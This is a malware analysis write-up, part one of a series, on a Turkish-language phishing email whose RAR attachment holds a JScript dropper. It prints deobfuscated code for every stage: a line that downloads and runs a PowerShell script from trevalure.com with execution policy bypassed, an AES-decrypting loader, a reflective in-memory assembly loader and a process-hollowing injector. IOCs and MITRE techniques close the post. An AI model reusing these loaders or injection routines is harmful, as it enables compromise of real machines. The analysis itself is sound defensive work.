eSinerji Mühendislik - Teklif talebi - Elektrik malzemeleri (Part 1)
On April 24 2026, 10:37 UTC, I received an email with the following details:
| From | Subject | Sender address | Sender IP |
|---|---|---|---|
| İlker Tekin <ilker.tekin@esinerji.net> | eSinerji Mühendislik - Teklif talebi - Elektrik malzemeleri | chronobserver@disroot.org | 158.94.208.218 |
The subject is in Turkish and translates to “eSinerji Engineering - Request for Proposal - Electrical Materials”.
The sender domain has not configured DMARC or DKIM and the SPF check failed, which indicates that the email was likely spoofed. The website belongs to “eSinerji Group”, a Turkish engineering and manufacturing company and the sender address appears to belong to to İlker Tekin who is the company’s Business Development Manager.
The email contains the following attachment:
| Name | Type | Magic | SHA256 |
|---|---|---|---|
| sip.3019026_eSinerji M�hendislik - Teklif talebi - Elektrik malzemeleri.bz | RAR | RAR archive data, v5 | ef6dad180684da723fb3e642279e55ab |
Analysis
JScript Dropper
Extracting the attached RAR archive yields the file “sip.3019026_eSinerji Mühendislik - Teklif talebi - Elektrik malzemeleri .js”. The script is obfuscated twice so I deobfuscated it by using webcrack twice.
The script downloads a PowerShell file from the URL “https://trevalure.com/bb30wp/keller.ps1”. The file is written to a temporary folder with a pseudo-random base36 name and executed through PowerShell. The rest of the script is omitted for brevity.
var _0x4b0bab = {
downloadUrl: "https://trevalure.com/bb30wp/keller.ps1",
tempDir: "C:\\Temp\\",
retryCount: 2
};
function _0x468117() {
return Math.random().toString(36).substring(2, 10).toUpperCase() + ".ps1";
}
var _0x11e4ab = "powershell.exe -nop -ep bypass -file \"" + _0x5a682f + "\""
PowerShell Loader
The script defines the variables $cipherData, $keyData,
and $ivData which contain base64-encoded data.
# AES-256 Decryption Utility
# ==========================
# Ciphertext Data
$cipherData = @'
...
'@
# Decryption Key
$keyData = @'
6p/syNpocy+Ru7Er152Y0kTxWpC+3XWnnzMqRrJrTVA=
'@
# Initialization Vector
$ivData = @'
UM7MlEBkAgFnXa8mPEnmgQ==
'@
Next, it defines the scriptblock $base64Processor which decodes a base64-encoded string,
and the scriptblock $aesDecryptRoutine which decrypts an AES-encrypted string.
# Base64 Processor
$base64Processor = {
param([string]$b64Input)
$cleanInput = $b64Input -replace "`n|`r", ""
return [Convert]::FromBase64String($cleanInput)
}
# AES Decryption Routine
$aesDecryptRoutine = {
param([byte[]]$inputData, [byte[]]$aesKey, [byte[]]$aesIv)
$aesEngine = [System.Security.Cryptography.Aes]::Create()
$aesEngine.KeySize = 256
$aesEngine.Key = $aesKey
$aesEngine.IV = $aesIv
$aesEngine.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesEngine.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$decryptTransform = $aesEngine.CreateDecryptor()
$decryptedBytes = $decryptTransform.TransformFinalBlock($inputData, 0, $inputData.Length)
$aesEngine.Dispose()
return [System.Text.Encoding]::UTF8.GetString($decryptedBytes)
}
Finally, it decrypts the ciphertext ($cipherData) using the key ($keyData)
and IV ($ivData) and executes the decrypted payload via Invoke-Expression.
# Execute Decryption
$payloadBytes = & $base64Processor $cipherData
$keyBytes = & $base64Processor $keyData
$ivBytes = & $base64Processor $ivData
if ($payloadBytes -and $keyBytes -and $ivBytes) {
$scriptContent = & $aesDecryptRoutine -inputData $payloadBytes -aesKey $keyBytes -aesIv $ivBytes
if ($scriptContent) {
Invoke-Expression $scriptContent
}
}
The decoding and decryption process can be performed using the following CyberChef recipe:
Register('\\$keyData = @\'\\r\\n([A-Za-z0-9+/=]+)\\r\\n\'@',false,true,false)
Register('\\$ivData = @\'\\r\\n([A-Za-z0-9+/=]+)\\r\\n\'@',false,true,false)
Regular_expression('User defined','\\$cipherData = @\'\\r\\n([A-Za-z0-9+/=\\r\\n]+)\\r\\n\'@',false,false,false,false,false,false,'List capture groups')
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'Base64','string':'$R0'},{'option':'Base64','string':'$R1'},16,'CBC','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''},'Off')
Embedded Payload
The following helper functions are defined in the now decrypted payload:
Decrypt-XORData: XOR Decryption FunctionInvoke-MemoryAssembly: Assembly Execution HandlerCheck-ProcessMissing: Process Check Utility
The functions include a relevant comment for each operation.
# XOR Decryption Function
function Decrypt-XORData {
param(
[string]$Base64Ciphertext,
[string]$EncryptionKey
)
try {
# Convert encrypted base64 to bytes
$cipherBytes = [System.Convert]::FromBase64String($Base64Ciphertext)
# Convert key to bytes
$keyBytes = [System.Text.Encoding]::UTF8.GetBytes($EncryptionKey)
# Create result array
$plainBytes = New-Object byte[] $cipherBytes.Length
# XOR decryption (same as encryption)
for ($i = 0; $i -lt $cipherBytes.Length; $i++) {
$plainBytes[$i] = $cipherBytes[$i] -bxor $keyBytes[$i % $keyBytes.Length]
}
# Return decrypted string
return [System.Text.Encoding]::UTF8.GetString($plainBytes)
}
catch {
Write-Error "XOR decryption failed: $($_.Exception.Message)"
return $null
}
}
# Assembly Execution Handler
function Invoke-MemoryAssembly {
param(
[Byte[]]$AssemblyData,
[string]$ClassName,
[string]$FunctionName,
[object[]]$Arguments
)
try {
# Load binary assembly into memory
$loadedAssembly = [System.Reflection.Assembly]::Load($AssemblyData)
# Get the target type
$targetType = $loadedAssembly.GetType($ClassName)
# Define method search flags
$bindingFlags = [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::Static
# Find the specified method
$targetMethod = $targetType.GetMethod($FunctionName, $bindingFlags)
if (-not $targetMethod) {
Write-Warning "Method '$FunctionName' not found in type '$ClassName'"
return $null
}
# Invoke static method with parameters
return $targetMethod.Invoke($null, $Arguments)
}
catch {
Write-Error "Assembly execution failed: $($_.Exception.Message)"
return $null
}
}
# Process Check Utility
function Check-ProcessMissing {
param([string]$Name)
$foundProcess = Get-Process -Name $Name -ErrorAction SilentlyContinue
return ($null -eq $foundProcess)
}
The main function of the script is Start-ContinuousMonitoring.
After defining the XOR encryption key with the value “vkSecretKey765”,
it starts an infinite loop. If the process “aspnet_compiler” is not
running, the script sleeps for 5 seconds (both the process name and
the number of seconds can be configured through certain parameters).
If the process is running, it decodes the base64-encoded variable
$xorEncryptedBase64, decrypts it using the previously defined XOR key,
and decodes it once more. Next, it loads the decoded .NET assembly and
invokes the “LAUNCH” function of the “MEN.EXECUTE” type. The parameters
of the method are the path of the “aspnet_compiler” executable
($targetExecutable) and a byte array ($payloadData). It’s worth
noting that the second parameter is undefined during the initial execution.
# Main monitoring loop
function Start-ContinuousMonitoring {
param(
[string]$ProcessToMonitor = "aspnet_compiler",
[int]$SleepSeconds = 5
)
# XOR encryption key - MAKE SURE THIS MATCHES THE KEY USED IN C# ENCRYPTION
$XorKey = "vkSecretKey765"
:mainLoop while ($true) {
if (Check-ProcessMissing -Name $ProcessToMonitor) {
# The %base% variable now contains XOR-ENCRYPTED base64 data
$xorEncryptedBase64 = '...'
# First decrypt the XOR-encrypted data
$decryptedBase64 = Decrypt-XORData -Base64Ciphertext $xorEncryptedBase64 -EncryptionKey $XorKey
if ($decryptedBase64) {
# Then decode the base64 to get assembly bytes
$assemblyBytes = [System.Convert]::FromBase64String($decryptedBase64)
# Define target executable path
$targetExecutable = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe'
# Prepare invocation parameters
$invocationParams = [object[]]@($targetExecutable, $payloadData)
# Execute the assembly method
$executionResult = Invoke-MemoryAssembly -AssemblyData $assemblyBytes `
-ClassName 'MEN.EXECUTE' `
-FunctionName 'LAUNCH' `
-Arguments $invocationParams
# Update payload for next iteration
[Byte[]]$payloadData = (<# ... #>)
}
else {
Write-Warning "Decryption failed, skipping execution"
}
}
# Wait before next check
Start-Sleep -Seconds $SleepSeconds
} # mainLoop continues indefinitely
}
# Begin monitoring
Start-ContinuousMonitoring
.NET Process Injector
The assembly bytes can be decoded and decrypted with the following recipe:
Register('\\$XorKey = "([A-Za-z0-9]+)"',false,false,false)
Regular_expression('User defined','\\$xorEncryptedBase64 = \'([A-Za-z0-9+/=]+)\'',false,false,false,false,false,false,'List capture groups')
From_Base64('A-Za-z0-9+/=',false,false)
XOR({'option':'UTF8','string':'$R0'},'Standard',false)
From_Base64('A-Za-z0-9+/=',false,false)
The result is a 32-bit .NET DLL with the following metadata:
- File Description: MEN
- File Version: 1.0.0.0
- Internal Name: MEN.dll
- Legal Copyright: Copyright © 2026
- Original File Name: MEN.dll
- Product Name: MEN
- Product Version: 1.0.0.0
- Assembly Version: 1.0.0.0
According to Detect-It-Easy, the assembly is obfuscated by “.NET Reactor” so I used de4dotEx to deobfuscate it before decompiling it with ILSpy.
The aforementioned “LAUNCH” function takes two arguments:
targetPath (the “aspnet_compiler” path in this case),
and shellcode (the injected payload). It runs a loop
up to 5 times or until the injection is successful.
The structures Struct0 and Struct1 correspond to
PROCESS_INFORMATION and STARTUPINFOA respectively.
public static void LAUNCH(string targetPath, byte[] shellcode) {
int num = 0;
bool flag = false;
while (num < 5 && !flag) {
num++;
Struct0 struct0_ = default(Struct0);
Struct1 struct1_ = new Struct1 {
uint_0 = (uint)Marshal.SizeOf(typeof(Struct1))
};
try {
smethod_0(targetPath, ref struct1_, ref struct0_);
smethod_1(shellcode, ref struct0_);
flag = true;
} catch {
smethod_17(ref struct0_);
if (num == 5) {
throw;
}
}
}
}
When the process injection fails, the function smethod_17 kills the launched process.
private static void smethod_17(ref Struct0 struct0_0) {
if (struct0_0.uint_0 != 0) {
try {
Process.GetProcessById((int)struct0_0.uint_0).Kill();
} catch { }
}
}
The function smethod_0 is responsible for launching the process
and the function smethod_1 performs the injection through process
hollowing, split across multiple other functions (omitted for brevity,
see my previous process injection analysis for details).
private static void smethod_0(string string_0, ref Struct1 struct1_0, ref Struct0 struct0_0) {
if (!Class0.delegate7_0(string_0, null, IntPtr.Zero, IntPtr.Zero, inheritHandles: false, 134217732u, IntPtr.Zero, null, ref struct1_0, ref struct0_0)) {
throw new InvalidOperationException(Class3.smethod_16(0));
}
}
The delegate7_0 function maps to CreateProcessA based on the Delegate7 signature.
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
private delegate bool Delegate7(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref Struct1 startupInfo, ref Struct0 processInformation);
delegate7_0 = (Delegate7)Class1.smethod_0<Delegate7>(Class3.smethod_16(500), Class3.smethod_16(880));
String Decryption
The relevant strings are not hardcoded and are instead loaded by the function Class3.smethod_16.
internal static string smethod_16(int int_6)
First, if the byte array byte_0 is empty, it initialises the list of strings list_1 and the list
of integers list_0. Also, it loads the manifest resource “vaXK2reoykoODy5VuJ.xqVubglMWCntIt8pRb”
from the current assembly (assembly_0 is set to the assembly of Class3 in its constructor) and
hands it to the function smethod_15 (which will be analysed later) along with the argument int_6.
if (byte_0.Length == 0) {
list_1 = new List<string>();
list_0 = new List<int>();
smethod_15(assembly_0.GetManifestResourceStream("vaXK2reoykoODy5VuJ.xqVubglMWCntIt8pRb"), int_6);
}
Then, it checks the call stack and throws if the caller is not the current assembly or referenced by it. This check is executed for the first 75 calls. Its likely purpose is to hinder extraction of the function and invocation from an external debugger.
if (int_4 < 75) {
MethodBase method = new StackFrame(1).GetMethod();
if (assembly_0 != method.DeclaringType.Assembly) {
bool flag = false;
string name = method.DeclaringType.Assembly.GetName().Name;
AssemblyName[] referencedAssemblies = assembly_0.GetReferencedAssemblies();
foreach (AssemblyName assemblyName in referencedAssemblies) {
if (name == assemblyName.Name) {
flag = true;
break;
}
}
if (!flag) {
throw new Exception();
}
}
int_4++;
}
Next, after locking the global variable object_0, it retrieves an integer num
from the byte array byte_0 at the offset int_6. If the int_6 value is cached in
the list_0 at index num, it retrieves a string from list_1 at the same index.
Otherwise, it performs the following operations:
- Calls
Class7.smethod_0which is a no-op function. - Initialises a byte array with length equal to
num. - Copies bytes from
byte_0at offsetint_6 + 4into this array. - Decodes the array bytes into a UTF-16 string. (The ILSpy decompiler
incorrectly rendered the last parameter of
GetStringas0, while dnSpyEx correctly yieldsarray.Lengthinstead.) - Caches the text and offset in the respective lists.
- Overwrites the length bytes in
byte_0with the new index.
If an error occurs it is ignored and an empty string is returned.
lock (object_0) {
int num = BitConverter.ToInt32(byte_0, int_6);
if (num < list_0.Count && list_0[num] == int_6) {
return list_1[num];
}
try {
Class7.smethod_0();
byte[] array = new byte[num];
Array.Copy(byte_0, int_6 + 4, array, 0, num);
string text = Encoding.Unicode.GetString(array, 0, array.Length); // fixed ILSpy bug: 0 -> array.Length
list_1.Add(text);
list_0.Add(int_6);
Array.Copy(BitConverter.GetBytes(list_1.Count - 1), 0, byte_0, int_6, 4);
return text;
}
catch { }
}
return "";
The smethod_15 function reads the resource file into the byte array array.
Class6 @class = new Class6(stream_0);
@class.method_0().Position = 0L;
byte[] array = @class.method_1((int)@class.method_0().Length);
@class.method_4();
Next, it builds the byte array array2 (aliased to array3)
of length 32 with multiple redundant assignments.
byte[] array2 = new byte[32];
array2[0] = 108;
array2[0] = 137;
array2[0] = 222;
// ...
array2[31] = 148;
array2[31] = 101;
array2[31] = 142;
array2[31] = 31;
byte[] array3 = array2;
Similarly, it builds the byte array array4
(aliased to array5) of length 16 and reverses it.
byte[] array4 = new byte[16];
array4[0] = 163;
array4[0] = 85;
array4[0] = 243;
// ...
array4[15] = 98;
array4[15] = 144;
array4[15] = 50;
byte[] array5 = array4;
Array.Reverse((Array)array5);
The lengths of these arrays match the byte sizes of AES-256 keys and IVs respectively.
If the assembly was signed (which it is not), every odd byte of the IV would be overwritten with its public key token, i.e., the last 8 bytes of the SHA1 hash of the public key under which it was signed.
byte[] publicKeyToken = assembly_0.GetName().GetPublicKeyToken();
if (publicKeyToken != null && publicKeyToken.Length != 0) {
array5[1] = publicKeyToken[0];
array5[3] = publicKeyToken[1];
array5[5] = publicKeyToken[2];
array5[7] = publicKeyToken[3];
array5[9] = publicKeyToken[4];
array5[11] = publicKeyToken[5];
array5[13] = publicKeyToken[6];
array5[15] = publicKeyToken[7];
}
The first 16 bytes of the key are also XORed with the IV.
for (int i = 0; i < array5.Length; i++) {
array3[i] ^= array5[i];
}
Then, if int_6 is equal to -1, both the the global byte array byte_0
and the local array are initialised by decrypting the resource bytes
using AES with the aforementioned key and IV. However, this branch is
never reached as the function is never called with the value -1.
if (int_6 == -1) {
SymmetricAlgorithm symmetricAlgorithm = smethod_7();
symmetricAlgorithm.Mode = CipherMode.CBC;
ICryptoTransform transform = symmetricAlgorithm.CreateDecryptor(array3, array5);
Stream stream = smethod_26();
CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
byte_0 = smethod_27(stream);
stream.Close();
cryptoStream.Close();
array = byte_0;
}
Next, if the assembly has no entry point (i.e., if it’s a DLL,
which is the case here), int_4 is set to 80 which is greater
than the threshold of 75 and bypasses the caller assembly check.
if (assembly_0.EntryPoint == null) {
int_4 = 80;
}
Finally, it instantiates the Class3 class and calls the method
method_1 with the key, IV, and resources bytes as parameters.
new Class3().method_1(array3, array5, array);
This method decrypts the ciphertext byte_4 using the key byte_2.
The IV byte_3 is unused.
The ciphertext is processed in 4-byte chunks of 32-bit little-endian integers. If there’s a remainder on the final iteration, the integer is built from the trailing bytes with zero padding in the high-order positions.
The key is also treated as 32-bit little-endian integers, which are cycled every
8 iterations. The integer num4 holds a cumulative sum computed by adding the
current part of the key and the constant “1555356213” (“0x5cb4da35”) in each iteration.
The prefix sum is XORed against the ciphertext and the resulting plaintext bytes are written
into the array at the corresponding little-endian positions. If there’s a remainder,
the output is truncated to correctly match the actual input length rather than the padding.
Finally, the completed buffer is assigned to the global byte_0 which is used for the string lookups.
private void method_1(byte[] byte_2, byte[] byte_3, byte[] byte_4) {
int num = byte_4.Length % 4;
int num2 = byte_4.Length / 4;
byte[] array = new byte[byte_4.Length];
int num3 = byte_2.Length / 4;
uint num4 = 0u;
if (num > 0) {
num2++;
}
for (int i = 0; i < num2; i++) {
int num5 = i % num3;
int num6 = i * 4;
uint num7 = (uint)(num5 * 4);
uint num8 = (uint)((byte_2[num7 + 3] << 24) | (byte_2[num7 + 2] << 16) | (byte_2[num7 + 1] << 8) | byte_2[num7]);
uint num9 = 255u;
int num10 = 0;
uint num11;
if (i != num2 - 1 || num <= 0) {
num4 += num8;
num7 = (uint)num6;
num11 = (uint)((byte_4[num7 + 3] << 24) | (byte_4[num7 + 2] << 16) | (byte_4[num7 + 1] << 8) | byte_4[num7]);
} else {
num11 = 0u;
num4 += num8;
for (int j = 0; j < num; j++) {
if (j > 0) {
num11 <<= 8;
}
num11 |= byte_4[^(1 + j)];
}
}
num4 += 1555356213;
if (i != num2 - 1 || num <= 0) {
uint num12 = num4 ^ num11;
array[num6] = (byte)(num12 & 0xFF);
array[num6 + 1] = (byte)((num12 & 0xFF00) >> 8);
array[num6 + 2] = (byte)((num12 & 0xFF0000) >> 16);
array[num6 + 3] = (byte)((num12 & 0xFF000000u) >> 24);
continue;
}
uint num13 = num4 ^ num11;
for (int k = 0; k < num; k++) {
if (k > 0) {
num9 <<= 8;
num10 += 8;
}
array[num6 + k] = (byte)((num13 & num9) >> num10);
}
}
byte_0 = array;
}
The decryption routine can be reproduced in Python.
The build_array function reads the key and IV assignments from the
source code, keeping only the last value for each index. The first 16
bytes of the key are XORed with the reversed IV, resulting in the hex
value “ecf5776934335e3a3897d8df37574750d05fa5649c5fb6b5262d0f1ecf0b021f”.
from pathlib import Path
from re import findall
import numpy as np
def build_array(source, var):
array = {}
for idx, val in findall(rf"{var}\[(\d+)\] = (\d+);", source):
array[int(idx)] = int(val)
return np.fromiter(array.values(), np.uint8)
class3 = Path("Class3.cs").read_text()
key = build_array(class3, "array2")
key[:16] ^= build_array(class3, "array4")[::-1]
print(key.tobytes().hex())
After reading the resource file, its bytes are converted to a numpy array of 32-bit little-endian integers with zero padding for the trailing bytes. The key is also reinterpreted as an array of integers and cycled to perform the cumulative sum with the constant. The two arrays are XORed and the padding is stripped.
C = 1555356213
resource = Path("vaXK2reoykoODy5VuJ.xqVubglMWCntIt8pRb").read_bytes()
padded = np.frombuffer(resource + bytes(-len(resource) % 4), "<u4")
acc = np.cumsum(key.view("<u4")[np.arange(len(padded)) % 8] + C, dtype="<u4")
table = (padded ^ acc)[:len(resource)].tobytes()
The read_string function reads a little-endian integer from the decrypted
table at the given offset, which represents a length. It returns a UTF-16
string after the offset of the integer until the retrieved length.
After finding every invocation of smethod_16 in the source code, the
corresponding offset and string value are stored in a set and printed in order.
def read_string(table, offset):
length = int.from_bytes(table[offset:offset + 4], "little")
return table[offset + 4:offset + 4 + length].decode("utf-16le")
strings = {}
execute = Path("MEN", "EXECUTE.cs").read_text()
for num in findall(r"Class3\.smethod_16\((\d+)\)", execute):
strings[int(num)] = read_string(table, int(num))
for idx, val in sorted(strings.items()):
print(f"{idx:<3}:", val)
This results in the string table below which contains error messages, library names, and function names used in process hollowing.
| Offset | Decrypted String Value |
|---|---|
| 0 | Process creation failure |
| 52 | Thread context capture failed |
| 114 | PEB read failure |
| 150 | Section unmapping failed |
| 202 | Memory reservation failed |
| 256 | Header writing failed |
| 302 | Section writing failed |
| 350 | PEB update failed |
| 388 | Thread context update failed |
| 448 | Thread resumption failed |
| 500 | kernel32 |
| 520 | ResumeThread |
| 548 | Wow64SetThreadContext |
| 594 | SetThreadContext |
| 630 | Wow64GetThreadContext |
| 676 | GetThreadContext |
| 712 | VirtualAllocEx |
| 744 | WriteProcessMemory |
| 784 | ReadProcessMemory |
| 822 | ntdll |
| 836 | ZwUnmapViewOfSection |
| 880 | CreateProcessA |
The injected process will be analysed in part 2.
Indicators of Compromise
| Type | Value | Links | Comment |
|---|---|---|---|
| ilker.tekin@esinerji.net | N/A | Sender address | |
| Domain | esinerji.net | MXToolBox VirusTotal | Sender domain |
| IP | 158.94.208.218 | AbuseIPDB | Sender IP |
| Hash | ef6dad180684da723fb3e642279e55ab | VirusTotal | sip.3019026_eSinerji M�hendislik - Teklif talebi - Elektrik malzemeleri.bz |
| Hash | c4c0a3aea39727d52e0d78688b3115e3 | VirusTotal | sip.3019026_eSinerji Mühendislik - Teklif talebi - Elektrik malzemeleri .js |
| Hash | 6f502816b337a5cf2434e231c8fee9c1 | VirusTotal | keller.ps1 |
| Hash | 687b08def750ba012b6fc95c00c337ba | VirusTotal | MEN.dll |
| Hash | 1cf5d18006cdc8ecf109429eec354ede | VirusTotal | Injected Executable |
| URL | https://trevalure.com/bb30wp/keller.ps1 | VirusTotal | Stage 2 Download |
MITRE ATT&CK® Techniques
| Tactic | Technique |
|---|---|
| Initial Access | T1566.001 - Phishing: Spearphishing Attachment |
| Execution | T1204.002 - User Execution: Malicious File |
| Execution | T1059.007 - Command and Scripting Interpreter: JavaScript |
| Execution | T1059.001 - Command and Scripting Interpreter: PowerShell |
| Execution | T1106 - Native API |
| Stealth | T1027.009 - Obfuscated Files or Information: Embedded Payloads |
| Stealth | T1027.013 - Obfuscated Files or Information: Encrypted/Encoded File |
| Stealth | T1027.016 - Obfuscated Files or Information: Junk Code Insertion |
| Stealth | T1620 - Reflective Code Loading |
| Stealth | T1497 - Virtualization/Sandbox Evasion |
| Stealth | T1055.012 - Process Injection: Process Hollowing |
| Command and Control | T1102 - Web Service |